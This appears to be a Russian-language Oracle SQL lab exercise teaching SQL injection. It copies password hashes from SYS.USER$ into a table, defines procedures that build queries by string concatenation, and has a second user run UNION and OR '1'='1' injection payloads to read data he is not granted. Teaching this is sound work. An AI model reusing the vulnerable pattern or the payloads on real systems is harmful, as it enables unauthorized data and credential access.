```
-- Подключитесь под администратором (system)
-- Создайте пользователя выдайте права доступа.
CREATE USER so IDENTIFIED BY 123
QUOTA 1M ON SYSTEM;

GRANT create session, create table, create procedure TO so;

DROP TABLE users;

-- Создайте таблицу из под пользователя so.
CREATE TABLE users (
user# NUMBER NOT NULL,
name VARCHAR2(30) NOT NULL,
type NUMBER NOT NULL,
password VARCHAR2(30)
);

-- Заполните таблицу пользователя so из под администратора. Зафиксируйте транзакцию.
INSERT INTO so.users
SELECT user#, name, type# AS type, password FROM SYS.USER$ WHERE password is not null;

-- Подключитесь под пользователем so
-- Проверьте содержимое таблицы
col type format 999
SELECT * FROM users;

-- Создайте процедуру, которая будет выводить имя пользователя и его идентификатор, если в качесте
параметра передано имя пользователя.
CREATE OR REPLACE PROCEDURE S_FAM (PAR_CUR VARCHAR2)
AS
  TYPE cursor_type IS REF CURSOR;
  Cur1 cursor_type;
  l_query VARCHAR2(200);
  TYPE tab_rec_type IS RECORD (Arg1 users.name%TYPE, Arg2 users.password%TYPE);
  Tab_rec tab_rec_type;
BEGIN
  l_query := 'SELECT name, password FROM users WHERE name LIKE ''' || PAR_CUR || '''';
  OPEN Cur1 FOR l_query;
  FETCH Cur1 INTO Tab_rec;
  WHILE Cur1%FOUND LOOP
    DBMS_OUTPUT.PUT_LINE(Tab_rec.Arg1 || ' ' || Tab_rec.Arg2);
    FETCH Cur1 INTO Tab_rec;
  END LOOP;
  CLOSE Cur1;
END;
/

GRANT execute ON S_FAM to bob;

-- Подключитесь под пользователем bob
-- Включите в SQLPlus вывод сообщений от Oracle, если он выключен.
-- Этот параметр меняется в рамках сессии. При новом подключении он примет значение по умолчанию

show serveroutput
set serveroutput on

-- Выполните процедуру которая выводит логин и пароль
exec SO.S_FAM('BOB');

-- Попробуйте отобразить содержимое таблицы so.users с помощью оператора select. Что произошло?
Почему?


-- Подключитесь под пользователем so
-- Создайте еще одну таблицу
-- По замыслу пользователь bob не имеет доступа к информации в этой таблице

CREATE TABLE tabx (
At1 VARCHAR2(50),
At2 VARCHAR2(20)
);

INSERT INTO tabx VALUES ('test_string', 200);
COMMIT;
```

```
SELECT * FROM tabx;
-- Подключитесь под пользователем bob

-- Осуществите SQL-инъекцию
exec SO.S_FAM('BOB'' union select * from tabx where ''1'' = ''1');
-- Что произошло? Почему?

-- Попробуйте отобразить содержимое таблицы so.tabx
SELECT * FROM so.tabx;

exec SO.S_FAM('XXX'' union select * from tabx where ''1'' = ''1');

exec SO.S_FAM('XXX'' union select * from tabx');
-- Объясните зачем в запросе тождественно истинное условие.
-- Подключитесь под пользователем so
-- Проверьте содержимое таблицы
col type format 999
SELECT * FROM users;

-- Создайте процедуру, которая будет выводить имя пользователя и его идентификатор, если человек
знает его номер.
CREATE OR REPLACE PROCEDURE S_NUM (PAR_CUR VARCHAR2)
AS
  TYPE cursor_type IS REF CURSOR;
  Cur1 cursor_type;
  l_query VARCHAR2(200);
  TYPE tab_rec_type IS RECORD (Arg1 users.name%TYPE, Arg2 users.password%TYPE);
  Tab_rec tab_rec_type;
BEGIN
  l_query := 'SELECT name, password FROM users WHERE user# = ''' || PAR_CUR || '''';
  OPEN Cur1 FOR l_query;
  FETCH Cur1 INTO Tab_rec;
  WHILE Cur1%FOUND LOOP
    DBMS_OUTPUT.PUT_LINE(Tab_rec.Arg1 || ' ' || Tab_rec.Arg2);
    FETCH Cur1 INTO Tab_rec;
  END LOOP;
  CLOSE Cur1;
END;
/

GRANT execute ON S_NUM to bob;

-- Подключитесь под пользователем bob

-- Предварительно посмотрите содержимое таблицы so.users. Запомните порядковый номер пользователя
-- Предполагается, что данные отобразятся в случае, если пользователь знает этот номер. Иначе
пользователь не имеет доступа к данным таблицы.
exec SO.S_NUM(49);
exec SO.S_NUM(56);

-- Осуществите SQL-инъекцию. Отобразите данные, которые предполагается, что вам не доступны
exec SO.S_NUM('111'' OR ''1'' = ''1');

exec SO.S_NUM(111);
```